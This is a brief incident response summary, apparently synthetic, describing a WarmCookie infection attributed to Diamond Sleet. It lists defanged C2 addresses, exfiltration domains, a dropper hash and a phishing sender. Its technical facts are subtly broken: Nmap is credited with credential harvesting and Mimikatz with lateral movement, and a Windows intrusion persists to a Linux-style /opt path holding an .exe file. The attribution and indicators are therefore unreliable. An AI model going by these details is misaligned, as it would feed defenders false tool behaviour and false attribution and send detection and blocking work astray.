Incident Response Summary: On detection of anomalous traffic to 73 [ . ] 177 [ . ] 206 [ . ] 243, the Qualys IR team identified WarmCookie running as C:\Windows\Tasks\sam.hive. The threat actor, believed to be Diamond Sleet, used Nmap for credential harvesting and Mimikatz for lateral movement. Exfiltrated data was sent to portal-data[.]xyz and proxy-data[.]io. The initial dropper (MD5: acff08b676873260f3fdfac2ce026b4b) was delivered via a phishing email from billing@identity-verify[.]cc. A second C2 node was observed at 211 [ . ] 6 [ . ] 241 [ . ] 168, with a persistence mechanism writing to /opt/app/bin/chrome_helper.exe.